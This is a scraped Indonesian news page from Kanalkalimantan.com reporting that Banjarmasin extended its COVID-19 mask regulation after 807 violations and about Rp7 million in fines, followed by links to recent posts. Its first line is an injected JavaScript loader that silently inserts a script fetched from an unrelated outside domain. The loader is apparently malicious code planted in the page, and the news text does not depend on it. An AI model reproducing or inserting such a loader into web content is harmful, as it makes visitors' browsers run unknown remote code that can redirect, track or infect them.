(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

10 Hari Penerapan Perwali, 807 Orang Langgar Protokol Kesehatan Tak Pakai Masker


KANALKALIMANTAN.COM, BANJARMASIN – Masa penerapan Perwali Nomor 68 Tahun 2020 tentang pedoman pelaksanaan dan penegakkan hukum protokol kesehatan di masyarakat di Kota Banjarmasin pun diputuskan untuk diperpanjang.

Artinya, pemberlakuan sanksi berupa denda uang tunai maupun sanksi sosial seperti membersihkan fasilitas umum bagi masyarakat yang melanggar protokol kesehatan juga akan dilanjutkan.

Wali Kota Banjarmasin H. Ibnu Sina mengatakan, perpanjangan masa tersebut merupakan hasil dari evaluasi keseluruhan pelaksanaan Perwali yang mewajibkan warganya untuk mengenakan masker dan menghindari kerumunan sejak 1 September 2020 yang lalu.

“Pada intinya kita sepakat untuk memperpanjang pemberlakuan ini selama satu bulan,” kata Ibnu di Banjarmasin, Jumat (11/9/2020) siang.

Menurut Ibnu, selama Perwali yang bertujuan untuk meminimalisir resiko penularanCovid-19 itu dilaksanakan, tingkat kesadaran masyarakat sudah mulai membaik. Dimana, dalam 10 hari pelaksanaannya, tingkat kesadaran masyarakat berangsur membaik.

“Bahkan mencapai 75 persen,” ujarnya.

Hingga saat ini, ia melanjutkan, petugas gabungan telah menindak 807 orang warga yang kedapatan melanggar protokol kesehatan seperti tidak menggunakan masker. Dari keseluruhannya, 105 orang diantaranya mendapat sanksi berupa denda uang.

“383 orang mendapat sanksi sosial serta 319 orang dikenakan tegur lisan dan terlulis,” imbuh Ibnu.

Ia membeberkan, nominal hasil denda yang didapatkan Pemko selama 10 hari pemberlakuan Perwali tersebut sekitar Rp7 juta. “Paling tidak memberikan efek jera kepada pelanggar, karena target utamanya bukan uang, tapi tibgkat kedisiplinan warga untuk menggunakan masker saat keluar rumah,” terangnya.

Sehingga, ia berharap dengan diperpanjangnya masa pemberlakuan Perwali Nomor 68 itu, bisa semakin meningkatkan kesadaran warga untuk lebih disiplin protokol kesehatan.

Apalagi, dalam waktu dekat DKI Jakarta kembali menerapkan PSBB (pembatasan sosial berskala besar).

“Kita lihat lagi kedepannya. Yang pasti untuk pintu masuk Kota Banjarmasin harus lebih diperketat lagi. Jangan sampai kota ini kembali menjadi zona merah,” tandasnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

2 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

4 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

4 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

6 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

16 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

18 jam ago

This website uses cookies.